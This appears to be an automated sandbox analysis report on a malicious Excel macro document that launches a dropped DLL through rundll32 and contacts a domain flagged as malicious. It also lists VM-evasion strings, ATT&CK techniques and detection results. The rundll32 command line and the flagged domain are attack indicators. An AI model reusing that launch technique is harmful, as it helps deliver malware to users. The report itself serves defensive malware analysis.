Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\Flopers.GGRRDDFF,DllRegisterServer	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: Refusal-1605078281-01212021.xlsm	Initial sample: OLE zip file path = xl/worksheets/_rels/sheet2.xml.rels
Source: Refusal-1605078281-01212021.xlsm	Initial sample: OLE zip file path = xl/media/image1.png
Source: Refusal-1605078281-01212021.xlsm	Initial sample: OLE zip file path = xl/media/image3.png
Source: Refusal-1605078281-01212021.xlsm	Initial sample: OLE zip file path = xl/media/image2.png
Source: Refusal-1605078281-01212021.xlsm	Initial sample: OLE zip file path = xl/printerSettings/printerSettings2.bin
Source: Refusal-1605078281-01212021.xlsm	Initial sample: OLE zip file path = xl/printerSettings/printerSettings3.bin
Source: Refusal-1605078281-01212021.xlsm	Initial sample: OLE zip file path = xl/calcChain.xml

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File opened: C:\Windows\SysWOW64\MSVCR100.dll

Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Source: rundll32.exe, 00000001.00000002.259550751.0000000004520000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: rundll32.exe, 00000001.00000002.259550751.0000000004520000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: rundll32.exe, 00000001.00000002.259550751.0000000004520000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: rundll32.exe, 00000001.00000002.259550751.0000000004520000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Replication Through Removable Media1	Scripting11	Path Interception	Process Injection1	Masquerading1	OS Credential Dumping	Security Software Discovery1	Replication Through Removable Media1	Data from Local System	Exfiltration Over Other Network Medium	Non-Application Layer Protocol1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Exploitation for Client Execution21	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Disable or Modify Tools1	LSASS Memory	Peripheral Device Discovery11	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Application Layer Protocol1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Rundll321	Security Account Manager	File and Directory Discovery1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection1	NTDS	System Information Discovery2	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Scripting11	LSA Secrets	Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Refusal-1605078281-01212021.xlsm	7%	ReversingLabs	Document-Excel.Trojan.Heuristic

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
leafybuy.com	6%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
https://cdn.entity.	0%	URL Reputation	safe
https://cdn.entity.	0%	URL Reputation	safe
https://cdn.entity.	0%	URL Reputation	safe
https://cdn.entity.	0%	URL Reputation	safe
https://wus2-000.contentsync.	0%	URL Reputation	safe
https://wus2-000.contentsync.	0%	URL Reputation	safe
https://wus2-000.contentsync.	0%	URL Reputation	safe
https://wus2-000.contentsync.	0%	URL Reputation	safe
https://powerlift.acompli.net	0%	URL Reputation	safe
https://powerlift.acompli.net	0%	URL Reputation	safe
https://powerlift.acompli.net	0%	URL Reputation	safe
https://powerlift.acompli.net	0%	URL Reputation	safe
https://rpsticket.partnerservices.getmicrosoftkey.com	0%	URL Reputation	safe
https://rpsticket.partnerservices.getmicrosoftkey.com	0%	URL Reputation	safe
https://rpsticket.partnerservices.getmicrosoftkey.com	0%	URL Reputation	safe
https://rpsticket.partnerservices.getmicrosoftkey.com	0%	URL Reputation	safe
https://cortana.ai	0%	URL Reputation	safe
https://cortana.ai	0%	URL Reputation	safe
https://cortana.ai	0%	URL Reputation	safe
https://cortana.ai	0%	URL Reputation	safe
https://api.aadrm.com/	0%	URL Reputation	safe
https://api.aadrm.com/	0%	URL Reputation	safe
https://api.aadrm.com/	0%	URL Reputation	safe
https://api.aadrm.com/	0%	URL Reputation	safe
https://ofcrecsvcapi-int.azurewebsites.net/	0%	Avira URL Cloud	safe
https://res.getmicrosoftkey.com/api/redemptionevents	0%	URL Reputation	safe
https://res.getmicrosoftkey.com/api/redemptionevents	0%	URL Reputation	safe
https://res.getmicrosoftkey.com/api/redemptionevents	0%	URL Reputation	safe
https://powerlift-frontdesk.acompli.net	0%	URL Reputation	safe
https://powerlift-frontdesk.acompli.net	0%	URL Reputation	safe
https://powerlift-frontdesk.acompli.net	0%	URL Reputation	safe
https://officeci.azurewebsites.net/api/	0%	Avira URL Cloud	safe
https://store.office.cn/addinstemplate	0%	URL Reputation	safe
https://store.office.cn/addinstemplate	0%	URL Reputation	safe
https://store.office.cn/addinstemplate	0%	URL Reputation	safe
https://wus2-000.pagecontentsync.	0%	URL Reputation	safe
https://wus2-000.pagecontentsync.	0%	URL Reputation	safe
https://wus2-000.pagecontentsync.	0%	URL Reputation	safe
https://store.officeppe.com/addinstemplate	0%	URL Reputation	safe
https://store.officeppe.com/addinstemplate	0%	URL Reputation	safe
https://store.officeppe.com/addinstemplate	0%	URL Reputation	safe
https://dev0-api.acompli.net/autodetect	0%	URL Reputation	safe
https://dev0-api.acompli.net/autodetect	0%	URL Reputation	safe
https://dev0-api.acompli.net/autodetect	0%	URL Reputation	safe
https://www.odwebp.svc.ms	0%	URL Reputation	safe
https://www.odwebp.svc.ms	0%	URL Reputation	safe
https://www.odwebp.svc.ms	0%	URL Reputation	safe
https://dataservice.o365filtering.com/	0%	URL Reputation	safe
https://dataservice.o365filtering.com/	0%	URL Reputation	safe
https://dataservice.o365filtering.com/	0%	URL Reputation	safe
https://officesetup.getmicrosoftkey.com	0%	URL Reputation	safe
https://officesetup.getmicrosoftkey.com	0%	URL Reputation	safe
https://officesetup.getmicrosoftkey.com	0%	URL Reputation	safe
https://prod-global-autodetect.acompli.net/autodetect	0%	URL Reputation	safe
https://prod-global-autodetect.acompli.net/autodetect	0%	URL Reputation	safe
https://prod-global-autodetect.acompli.net/autodetect	0%	URL Reputation	safe
https://apis.live.net/v5.0/	0%	URL Reputation	safe
https://apis.live.net/v5.0/	0%	URL Reputation	safe
https://apis.live.net/v5.0/	0%	URL Reputation	safe
https://asgsmsproxyapi.azurewebsites.net/	0%	Avira URL Cloud	safe
https://ncus-000.contentsync.	0%	URL Reputation	safe
https://ncus-000.contentsync.	0%	URL Reputation	safe
https://ncus-000.contentsync.	0%	URL Reputation	safe
https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile	0%	URL Reputation	safe
https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile	0%	URL Reputation	safe
https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile	0%	URL Reputation	safe
https://skyapi.live.net/Activity/	0%	URL Reputation	safe
https://skyapi.live.net/Activity/	0%	URL Reputation	safe
https://skyapi.live.net/Activity/	0%	URL Reputation	safe
https://dataservice.o365filtering.com	0%	URL Reputation	safe
https://dataservice.o365filtering.com	0%	URL Reputation	safe
https://dataservice.o365filtering.com	0%	URL Reputation	safe
https://api.cortana.ai	0%	URL Reputation	safe
https://api.cortana.ai	0%	URL Reputation	safe
https://api.cortana.ai	0%	URL Reputation	safe
https://ovisualuiapp.azurewebsites.net/pbiagave/	0%	Avira URL Cloud	safe
https://directory.services.	0%	URL Reputation	safe
https://directory.services.	0%	URL Reputation	safe
https://directory.services.	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
leafybuy.com	unknown	unknown	true	6%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.diagnosticssdf.office.com	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://login.microsoftonline.com/	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://shell.suite.office.com:1443	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://autodiscover-s.outlook.com/	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://cdn.entity.	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://api.addins.omex.office.net/appinfo/query	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://wus2-000.contentsync.	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://clients.config.office.net/user/v1.0/tenantassociationkey	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://powerlift.acompli.net	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://rpsticket.partnerservices.getmicrosoftkey.com	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://lookup.onenote.com/lookup/geolocation/v1	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://cortana.ai	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://cloudfiles.onenote.com/upload.aspx	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://entitlement.diagnosticssdf.office.com	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://api.aadrm.com/	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://ofcrecsvcapi-int.azurewebsites.net/	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false	Avira URL Cloud: safe	unknown
https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://api.microsoftstream.com/api/	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://cr.office.com	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://portal.office.com/account/?ref=ClientMeControl	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://ecs.office.com/config/v2/Office	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://graph.ppe.windows.net	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://res.getmicrosoftkey.com/api/redemptionevents	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://powerlift-frontdesk.acompli.net	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://tasks.office.com	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://officeci.azurewebsites.net/api/	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false	Avira URL Cloud: safe	unknown
https://sr.outlook.office.net/ws/speech/recognize/assistant/work	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://store.office.cn/addinstemplate	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://wus2-000.pagecontentsync.	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://outlook.office.com/autosuggest/api/v1/init?cvid=	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://globaldisco.crm.dynamics.com	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://store.officeppe.com/addinstemplate	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://dev0-api.acompli.net/autodetect	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.odwebp.svc.ms	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://api.powerbi.com/v1.0/myorg/groups	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://web.microsoftstream.com/video/	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://graph.windows.net	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://dataservice.o365filtering.com/	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://officesetup.getmicrosoftkey.com	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://analysis.windows.net/powerbi/api	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://prod-global-autodetect.acompli.net/autodetect	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://outlook.office365.com/autodiscover/autodiscover.json	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
http://weather.service.msn.com/data.aspx	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://apis.live.net/v5.0/	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://management.azure.com	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://incidents.diagnostics.office.com	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://clients.config.office.net/user/v1.0/ios	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://insertmedia.bing.office.net/odc/insertmedia	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://o365auditrealtimeingestion.manage.office.com	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://outlook.office365.com/api/v1.0/me/Activities	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://api.office.net	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://incidents.diagnosticssdf.office.com	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://asgsmsproxyapi.azurewebsites.net/	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false	Avira URL Cloud: safe	unknown
https://clients.config.office.net/user/v1.0/android/policies	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://entitlement.diagnostics.office.com	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://outlook.office.com/	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://storage.live.com/clientlogs/uploadlocation	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://templatelogging.office.com/client/log	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://outlook.office365.com/	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://webshell.suite.office.com	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://management.azure.com/	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://ncus-000.contentsync.	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://login.windows.net/common/oauth2/authorize	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://graph.windows.net/	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://api.powerbi.com/beta/myorg/imports	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://devnull.onenote.com	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://messaging.office.com/	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://contentstorage.omex.office.net/addinclassifier/officeentities	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://augloop.office.com/v2	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://skyapi.live.net/Activity/	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://clients.config.office.net/user/v1.0/mac	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://dataservice.o365filtering.com	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://api.cortana.ai	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://onedrive.live.com	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
